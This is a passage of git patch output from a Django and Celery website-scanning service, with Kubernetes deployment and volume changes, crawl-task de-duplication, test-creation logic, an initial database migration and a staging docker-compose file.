-          resources: 
-            limits:
-              cpu: "250m"
-              memory: "250Mi"
-            requests:
-              cpu: "100m"
-              memory: "100Mi"
-status: {}
-
-
-
----
-
-apiVersion: v1
-kind: Service
-metadata:  
-  labels:
-    service: rabbitmq
-  name: rabbitmq
-spec:
-  ports:
-    - name: "5672"
-      port: 5672
-      targetPort: 5672
-  selector:
-    service: rabbitmq
-

From d0274d17ceec9478e2a84c3144d80f3ee3a7a98f Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 18:31:36 -0500
Subject: [PATCH 053/752] testing new volume addition

---
 app/api/models.py               |  1 +
 app/api/tasks.py                | 86 +++++++++++++++++----------------
 k8s/prod/app-deployment.yaml    | 26 +++++-----
 k8s/prod/app-pvc.yaml           | 10 ++++
 k8s/prod/celery-deployment.yaml |  6 +--
 5 files changed, 71 insertions(+), 58 deletions(-)
 create mode 100644 k8s/prod/app-pvc.yaml

diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..939965e7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,6 +335,7 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 68827ee3..aa20e158 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -50,27 +50,28 @@ def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
     for url in pages:
         # add new page
-        page = Page.objects.create(
-            site=site,
-            page_url=url,
-            user=site.user,
-            account=site.account,
-        )
-        # create initial scan
-        scan = Scan.objects.create(
-            site=site,
-            page=page, 
-            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-            configs=configs
-        )
-        # run each scan component in parallel
-        run_html_and_logs_bg.delay(scan_id=scan.id)
-        run_lighthouse_bg.delay(scan_id=scan.id)
-        run_yellowlab_bg.delay(scan_id=scan.id)
-        run_vrt_bg.delay(scan_id=scan.id)
-        page.info["latest_scan"]["id"] = str(scan.id)
-        page.info["latest_scan"]["time_created"] = str(scan.time_created)
-        page.save()
+        if not Page.objects.filter(site=site, page_url=url).exists():
+            page = Page.objects.create(
+                site=site,
+                page_url=url,
+                user=site.user,
+                account=site.account,
+            )
+            # create initial scan
+            scan = Scan.objects.create(
+                site=site,
+                page=page, 
+                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                configs=configs
+            )
+            # run each scan component in parallel
+            run_html_and_logs_bg.delay(scan_id=scan.id)
+            run_lighthouse_bg.delay(scan_id=scan.id)
+            run_yellowlab_bg.delay(scan_id=scan.id)
+            run_vrt_bg.delay(scan_id=scan.id)
+            page.info["latest_scan"]["id"] = str(scan.id)
+            page.info["latest_scan"]["time_created"] = str(scan.time_created)
+            page.save()
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()
@@ -102,27 +103,28 @@ def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
         
     for url in add_pages:
         # add new page
-        page = Page.objects.create(
-            site=site,
-            page_url=url,
-            user=site.user,
-            account=site.account,
-        )
-        # create initial scan
-        scan = Scan.objects.create(
-            site=site,
-            page=page, 
-            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-            configs=configs
-        )
-        # run each scan component in parallel
-        run_html_and_logs_bg.delay(scan_id=scan.id)
-        run_lighthouse_bg.delay(scan_id=scan.id)
-        run_yellowlab_bg.delay(scan_id=scan.id)
-        run_vrt_bg.delay(scan_id=scan.id)
-        page.info["latest_scan"]["id"] = str(scan.id)
-        page.info["latest_scan"]["time_created"] = str(scan.time_created)
-        page.save()
+        if not Page.objects.filter(site=site, page_url=url).exists():
+            page = Page.objects.create(
+                site=site,
+                page_url=url,
+                user=site.user,
+                account=site.account,
+            )
+            # create initial scan
+            scan = Scan.objects.create(
+                site=site,
+                page=page, 
+                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                configs=configs
+            )
+            # run each scan component in parallel
+            run_html_and_logs_bg.delay(scan_id=scan.id)
+            run_lighthouse_bg.delay(scan_id=scan.id)
+            run_yellowlab_bg.delay(scan_id=scan.id)
+            run_vrt_bg.delay(scan_id=scan.id)
+            page.info["latest_scan"]["id"] = str(scan.id)
+            page.info["latest_scan"]["time_created"] = str(scan.time_created)
+            page.save()
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index a0c1b583..ced1ab85 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -5,7 +5,7 @@ metadata:
   labels:
     deployment: app
 spec:
-  replicas: 1
+  replicas: 2
   selector:
     matchLabels:
       app: app-deployment
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:eead9ec 
+          image: landonr/scanerr-server:25a7e15 # <IMAGE> # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -38,18 +38,18 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "6"
-              memory: "6Gi"
+              cpu: "2"
+              memory: "4Gi"
             requests:
-              cpu: "500m"
-              memory: "500Mi"
-      #     volumeMounts:
-      #      - mountPath: "/app/api/migrations"
-      #        name: my-app-volume
-      # volumes:
-      #   - name: my-app-volume
-      #     persistentVolumeClaim:
-      #      claimName: app-pvc
+              cpu: "1"
+              memory: "1Gi"
+          volumeMounts:
+           - mountPath: "/app/api/migrations"
+             name: app-volume
+      volumes:
+        - name: app-volume
+          persistentVolumeClaim:
+           claimName: app-pvc
 
 ---
 
diff --git a/k8s/prod/app-pvc.yaml b/k8s/prod/app-pvc.yaml
new file mode 100644
index 00000000..baa2b84c
--- /dev/null
+++ b/k8s/prod/app-pvc.yaml
@@ -0,0 +1,10 @@
+apiVersion: v1
+kind: PersistentVolumeClaim
+metadata:
+  name: app-pvc
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 2Gi
\ No newline at end of file
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 095cac37..6115293e 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # landonr/scanerr-server:25a7e15 #
+          image: <IMAGE> # landonr/scanerr-server:25a7e15 # 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
@@ -29,6 +29,6 @@ spec:
               cpu: "2"
               memory: "4Gi"
             requests:
-              cpu: "500m"
-              memory: "500Mi"
+              cpu: "1"
+              memory: "1Gi"
 

From 252f3e1fd38b5cc144e596252a02cb15ec396aaa Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 18:34:56 -0500
Subject: [PATCH 054/752] added app-pvc

---
 k8s/kubernetes-notes.md | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 6a79b203..c53aa1fa 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -109,8 +109,7 @@ kubectl port-forward service/app-service 8000:8000
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volume.yaml` -->
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-volumeclaim.yaml` -->
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`

From d5ccd8ca49b6a22ecc5e8a7d524b21810c9735a2 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 18:44:57 -0500
Subject: [PATCH 055/752] testing model chenges

---
 app/api/models.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 939965e7..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,7 +335,6 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
-    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'

From 91e096b8da205d1268e735fcb24040db80cf4d42 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 19:10:31 -0500
Subject: [PATCH 056/752] back to old model

---
 k8s/prod/app-deployment.yaml    | 3 ++-
 k8s/prod/celery-deployment.yaml | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index ced1ab85..821ced0c 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: landonr/scanerr-server:25a7e15 # <IMAGE> # 
+          image: <IMAGE> # landonr/scanerr-server:802fed4 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -26,6 +26,7 @@ spec:
           args: 
             - > 
                 python3 manage.py wait_for_db &&
+                python manage.py showmigrations &&
                 python3 manage.py makemigrations --no-input &&
                 python3 manage.py migrate --no-input &&
                 python3 manage.py collectstatic --no-input &&
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 6115293e..c70b72eb 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:25a7e15 # 
+          image: <IMAGE> # landonr/scanerr-server:802fed4 # 
           imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:

From 6649757b6fecae9b23333d779369232da9f16244 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 19:27:34 -0500
Subject: [PATCH 057/752] moving test_task

---
 app/api/tasks.py | 47 ++++++++++++++++++++++++++++++++++++-----------
 1 file changed, 36 insertions(+), 11 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index aa20e158..85b46e47 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -243,17 +243,42 @@ def _create_test(
         *args, 
         **kwargs,
     ):
-    create_test_task(
-        test_id,
-        page_id, 
-        automation_id, 
-        configs, 
-        type,
-        index,
-        pre_scan,
-        post_scan,
-        tags
-    )
+    if test_id is not None:
+        created_test = Test.objects.get(id=test_id)
+        page = created_test.page
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
+        created_test = Test.objects.create(
+            site=page.site,
+            page=page,
+            type=type,
+            tags=tags,
+        )
+
+    if pre_scan is not None:
+        pre_scan = Scan.objects.get(id=pre_scan)
+    if post_scan is not None:
+        post_scan = Scan.objects.get(id=post_scan)
+
+    if post_scan is None and pre_scan is not None:
+        post_scan = S(site=page.site, page=page, scan=pre_scan, configs=configs, type=type).second_scan()
+        
+    if pre_scan is None and post_scan is None:
+        new_scan = S(site=page.site, page=page, configs=configs, type=type)
+        post_scan = new_scan.second_scan()
+        pre_scan = post_scan.paired_scan
+
+    # updating parired scans
+    pre_scan.paired_scan = post_scan
+    post_scan.paried_scan = pre_scan
+    pre_scan.save()
+    post_scan.save()
+
+    # updating test object
+    created_test.type = type
+    created_test.pre_scan = pre_scan
+    created_test.post_scan = post_scan
+    created_test.save()
     logger.info('Created new test of page')
 
 

From 83f08424d96f53d37460730b043d4e6952cfc87d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 19:27:41 -0500
Subject: [PATCH 058/752] testing migrations

---
 app/api/models.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/models.py b/app/api/models.py
index 9fe19340..939965e7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,6 +335,7 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'

From af21d97c7a8eb9173c4e35bed368cec33cb18626 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Wed, 26 Jul 2023 20:56:48 -0500
Subject: [PATCH 059/752] testing new migration method

---
 .gitignore                         |   3 +-
 app/api/migrations/0001_initial.py | 267 +++++++++++++++++++++++++++++
 app/api/models.py                  |   1 -
 commands                           |   8 +
 docker-compose.stage.yml           |  50 ++++++
 k8s/kubernetes-notes.md            |   2 +-
 k8s/prod/app-deployment.yaml       |  14 +-
 7 files changed, 335 insertions(+), 10 deletions(-)
 create mode 100644 app/api/migrations/0001_initial.py
 create mode 100644 docker-compose.stage.yml

diff --git a/.gitignore b/.gitignore
index 8d7a5fee..cfb4932a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -14,5 +14,6 @@ env/.env.dev
 env/.env.prod
 env/.env.prod.db
 app/static*
-app/api/migrations/*_*.py
+# app/api/migrations/*_*.py
 k8s/*/*-configs.yaml
+env/.env.stage
diff --git a/app/api/migrations/0001_initial.py b/app/api/migrations/0001_initial.py
new file mode 100644
index 00000000..aa1ee92a
--- /dev/null
+++ b/app/api/migrations/0001_initial.py
@@ -0,0 +1,267 @@
+# Generated by Django 3.2.3 on 2023-07-27 01:50
+
+import api.models
+import datetime
+from django.conf import settings
+from django.db import migrations, models
+import django.db.models.deletion
+import django.utils.timezone
+import uuid
+
+
+class Migration(migrations.Migration):
+
+    initial = True
+
+    dependencies = [
+        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
+    ]
+
+    operations = [
+        migrations.CreateModel(
+            name='Account',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('name', models.CharField(blank=True, max_length=1000, null=True)),
+                ('active', models.BooleanField(default=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('type', models.CharField(blank=True, default='free', max_length=1000, null=True)),
+                ('code', models.CharField(blank=True, max_length=1000, null=True)),
+                ('max_sites', models.IntegerField(blank=True, default=1, null=True)),
+                ('max_pages', models.IntegerField(blank=True, default=25, null=True)),
+                ('cust_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('sub_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('product_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('price_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('price_amount', models.IntegerField(blank=True, default=0, null=True)),
+                ('slack', models.JSONField(blank=True, default=api.models.get_slack_default, null=True)),
+                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Automation',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('name', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('expressions', models.JSONField(blank=True, default=api.models.get_expressions_default, null=True)),
+                ('actions', models.JSONField(blank=True, default=api.models.get_actions_default, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Case',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('name', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('steps', models.JSONField(blank=True, default=api.models.get_steps_default, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Mask',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('active', models.BooleanField(default=True)),
+                ('mask_id', models.CharField(blank=True, max_length=1000, null=True)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Page',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('page_url', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('info', models.JSONField(blank=True, default=api.models.get_info_default, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Scan',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('type', models.JSONField(blank=True, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_completed', models.DateTimeField(blank=True, null=True)),
+                ('html', models.TextField(blank=True, null=True)),
+                ('logs', models.JSONField(blank=True, null=True)),
+                ('images', models.JSONField(blank=True, null=True)),
+                ('lighthouse', models.JSONField(blank=True, default=api.models.get_lh_default, null=True)),
+                ('yellowlab', models.JSONField(blank=True, default=api.models.get_yl_default, null=True)),
+                ('configs', models.JSONField(blank=True, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('page', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
+                ('paired_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='api.scan')),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Site',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('site_url', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_crawl_started', models.DateTimeField(blank=True, null=True)),
+                ('time_crawl_completed', models.DateTimeField(blank=True, null=True)),
+                ('info', models.JSONField(blank=True, default=api.models.get_small_info_default, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Testcase',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('case_name', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_completed', models.DateTimeField(blank=True, null=True)),
+                ('passed', models.BooleanField(default=False)),
+                ('steps', models.JSONField(blank=True, null=True)),
+                ('configs', models.JSONField(blank=True, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('case', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.case')),
+                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Test',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_completed', models.DateTimeField(blank=True, null=True)),
+                ('type', models.JSONField(blank=True, null=True)),
+                ('score', models.FloatField(blank=True, null=True)),
+                ('component_scores', models.JSONField(blank=True, default=api.models.get_scores_default, null=True)),
+                ('html_delta', models.JSONField(blank=True, null=True)),
+                ('logs_delta', models.JSONField(blank=True, null=True)),
+                ('lighthouse_delta', models.JSONField(blank=True, default=api.models.get_lh_delta_default, null=True)),
+                ('yellowlab_delta', models.JSONField(blank=True, default=api.models.get_yl_delta_default, null=True)),
+                ('images_delta', models.JSONField(blank=True, null=True)),
+                ('tags', models.JSONField(blank=True, default=api.models.get_tags_default, null=True)),
+                ('pre_scan_configs', models.JSONField(blank=True, null=True)),
+                ('post_scan_configs', models.JSONField(blank=True, null=True)),
+                ('page', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
+                ('post_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='post_scan', to='api.scan')),
+                ('pre_scan', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='pre_scan', to='api.scan')),
+                ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Schedule',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(blank=True, default=datetime.datetime.now, null=True)),
+                ('task_type', models.CharField(default='test', max_length=100)),
+                ('timezone', models.CharField(blank=True, max_length=100, null=True)),
+                ('begin_date', models.DateTimeField(default=datetime.datetime.now)),
+                ('time', models.CharField(blank=True, max_length=100, null=True)),
+                ('frequency', models.CharField(default='monthly', max_length=100)),
+                ('task', models.CharField(blank=True, max_length=500, null=True)),
+                ('crontab_id', models.CharField(blank=True, max_length=500, null=True)),
+                ('periodic_task_id', models.CharField(blank=True, max_length=500, null=True)),
+                ('status', models.CharField(blank=True, default='Active', max_length=100, null=True)),
+                ('extras', models.JSONField(blank=True, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('automation', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='assoc_auto', to='api.automation')),
+                ('page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
+                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.AddField(
+            model_name='scan',
+            name='site',
+            field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.site'),
+        ),
+        migrations.CreateModel(
+            name='Report',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('path', models.CharField(blank=True, max_length=1000, null=True)),
+                ('type', models.JSONField(blank=True, null=True)),
+                ('info', models.JSONField(blank=True, null=True)),
+                ('account', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.page')),
+                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Process',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('type', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('time_completed', models.DateTimeField(blank=True, null=True)),
+                ('successful', models.BooleanField(default=False)),
+                ('info_url', models.CharField(blank=True, max_length=1000, null=True)),
+                ('progress', models.FloatField(blank=True, null=True)),
+                ('site', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='api.site')),
+            ],
+        ),
+        migrations.AddField(
+            model_name='page',
+            name='site',
+            field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='api.site'),
+        ),
+        migrations.AddField(
+            model_name='page',
+            name='user',
+            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
+        ),
+        migrations.CreateModel(
+            name='Member',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('email', models.CharField(blank=True, max_length=1000, null=True)),
+                ('status', models.CharField(blank=True, max_length=1000, null=True)),
+                ('type', models.CharField(blank=True, max_length=1000, null=True)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('account', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Log',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('time_created', models.DateTimeField(default=django.utils.timezone.now)),
+                ('path', models.CharField(blank=True, max_length=1000, null=True)),
+                ('request_type', models.CharField(blank=True, max_length=1000, null=True)),
+                ('status', models.CharField(blank=True, max_length=1000, null=True)),
+                ('request_payload', models.JSONField(blank=True, null=True)),
+                ('response_payload', models.JSONField(blank=True, null=True)),
+                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.CreateModel(
+            name='Card',
+            fields=[
+                ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)),
+                ('pay_method_id', models.CharField(blank=True, max_length=1000, null=True)),
+                ('brand', models.CharField(blank=True, max_length=1000, null=True)),
+                ('exp_month', models.CharField(blank=True, max_length=1000, null=True)),
+                ('exp_year', models.CharField(blank=True, max_length=1000, null=True)),
+                ('last_four', models.CharField(blank=True, max_length=1000, null=True)),
+                ('account', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.account')),
+                ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
+            ],
+        ),
+        migrations.AddField(
+            model_name='automation',
+            name='schedule',
+            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='assoc_sch', to='api.schedule'),
+        ),
+        migrations.AddField(
+            model_name='automation',
+            name='user',
+            field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),
+        ),
+    ]
diff --git a/app/api/models.py b/app/api/models.py
index 939965e7..9fe19340 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -335,7 +335,6 @@ class Page(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
-    time_crawl = models.DateTimeField(serialize=True, null=True, blank=True)
 
     def __str__(self):
         return f'{self.page_url}'
diff --git a/commands b/commands
index a6764d18..0c83bd99 100644
--- a/commands
+++ b/commands
@@ -20,3 +20,11 @@ docker compose -f docker-compose.dev.yml up -d --build
 ### spins down the container ###
 docker compose -f docker-compose.dev.yml down
 
+
+
+### spins up the container for staging migrations ###
+docker compose -f docker-compose.stage.yml up -d --build
+
+### spins down the container ###
+docker compose -f docker-compose.stage.yml down
+
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
new file mode 100644
index 00000000..5bd3db6a
--- /dev/null
+++ b/docker-compose.stage.yml
@@ -0,0 +1,50 @@
+version: '3'
+services:
+  
+  app:
+    privileged: true
+    init: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    # image: landonr/scanerr-server
+    ports:
+      - "8000:8000"
+    volumes:
+      - ./app:/app
+    command: >
+      sh -c "python3 manage.py wait_for_db &&
+             python3 manage.py makemigrations  --no-input &&
+             python3 manage.py migrate --no-input &&
